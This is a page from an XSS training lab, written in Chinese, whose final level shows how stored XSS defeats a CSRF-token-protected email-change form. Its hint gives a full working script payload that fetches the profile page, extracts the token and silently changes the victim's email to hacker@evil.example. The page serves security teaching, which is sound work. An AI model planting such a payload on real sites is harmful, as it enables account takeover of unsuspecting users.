XSS 练习靶场 本地学习环境 · 仅供安全研究与教学使用 · 数据均为虚构

靶场 16:综合实战 —— 利用 XSS 绕过 CSRF 防护

已通关
第 16 / 16 关 · 类型:存储型 / 危害利用 · 难度:进阶
实验说明:论坛评论区仍无过滤。个人中心的“修改邮箱”功能部署了 CSRF 令牌防线,普通跨站请求无法伪造。但若能在同源页面执行 JS,这道防线便形同虚设。
通关目标:发布一条评论,使访问文章页的受害者(你自己开新标签页模拟)在无感知的情况下把邮箱改为 hacker@evil.example。

夜航船论坛 · 个人中心

当前邮箱:user@lab.local

本表单受 CSRF 令牌保护,令牌每次进入本页时刷新。

← 返回文章页

查看提示(建议先自行尝试)
先同源 GET /xss-lab/lab/16/profile 解析出 csrf 令牌,再 POST /xss-lab/lab/16/change-email。参考:<script>fetch('/xss-lab/lab/16/profile').then(r=>r.text()).then(t=>{var k=t.match(/name="csrf" value="([^"]+)"/)[1];fetch('/xss-lab/lab/16/change-email',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'email=hacker@evil.example&csrf='+encodeURIComponent(k)})})</script>